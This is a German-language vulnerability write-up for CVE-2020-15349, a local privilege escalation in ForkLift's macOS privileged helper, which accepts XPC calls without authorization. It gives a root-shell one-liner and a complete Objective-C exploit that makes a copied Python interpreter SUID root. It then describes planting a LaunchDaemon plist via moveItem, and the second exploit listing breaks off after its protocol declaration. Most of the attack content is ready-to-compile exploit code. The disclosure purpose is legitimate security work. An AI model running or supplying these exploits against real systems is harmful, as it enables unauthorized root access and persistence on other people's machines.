
Schwachstellenbeschreibung von CVE-2020-15349
Bei der Installation von Forklift wird automatisch ein neuer Helfer namens com.binarynights.ForkLiftHelper für Mac OS X im Verzeichnis /Library/PrivilegedHelperTools/ installiert.
Die Analyse dieses Helfers, der XPC-Nachrichten verarbeitet, ergab verschiedene Möglichkeiten, unter Mac OS X Privilegien von einem Benutzer auf root zu erhöhen.
Beim Akzeptieren von XPC-Aufrufen wird standardmäßig die Funktion HelperTool listener:shouldAcceptNewConnection bzw. (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection verwendet. Diese Funktion führt die ersten Schritte zum Aufbau einer XPC-Verbindung durch. Normalerweise führt diese Funktion die Autorisierung des Aufrufers durch – jedoch implementiert die Funktion des com.binarynights.ForkLiftHelper keine Autorisierungsprüfungen. Daher ist es möglich, beliebige exponierte Funktionen über XPC ohne Autorisierung aufzurufen.
Die folgenden Funktionen sind über XPC für den Aufrufer verfügbar:
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
Die erste Methode, diesen Helfer auszunutzen, ist wie folgt:
Kopieren Sie beispielsweise den Python-Interpreter in ein vom Benutzer kontrollierbares Verzeichnis und rufen Sie die XPC-Funktion changeOwner mit dem Parameter @"<path>" owner:0 group:0 auf. Dadurch wird der Besitz des Python-Interpreters auf root geändert.
Zweitens ist es möglich, das SUID-Bit am Interpreter zu setzen, indem eine XPC-Anfrage an die Funktion changePermissions mit dem folgenden Parameter @"<path>" permissions:2541 gestellt wird. Die Berechtigungen 2541 repräsentieren im Oktalsystem die Zahl 4755, die das SUID-Flag auf der Binärdatei setzt.
Der folgende Befehl erzeugt eine Shell als root:
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
Stellen Sie bitte sicher, dass zuerst ein Python-Interpreter nach /tmp mit dem Namen python_copied kopiert wurde.
Der folgende Exploit zeigt diese LPE:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
Die zweite Methode, diesen Helfer auszunutzen, ist wie folgt:
Dank des XPC-Aufrufs moveItem ist es möglich, jedes Element als root zu verschieben. Daher ist es möglich, eine plist-Datei in das Verzeichnis /tmp zu schreiben und sie dann in das Verzeichnis /Library/LaunchDaemons/ zu kopieren. Die folgenden Parameter werden für die Funktion moveItem verwendet: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"
Der folgende Code fügt automatisch einen neuen Launch-Agent hinzu, der bei einem Neustart ausgelöst wird:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end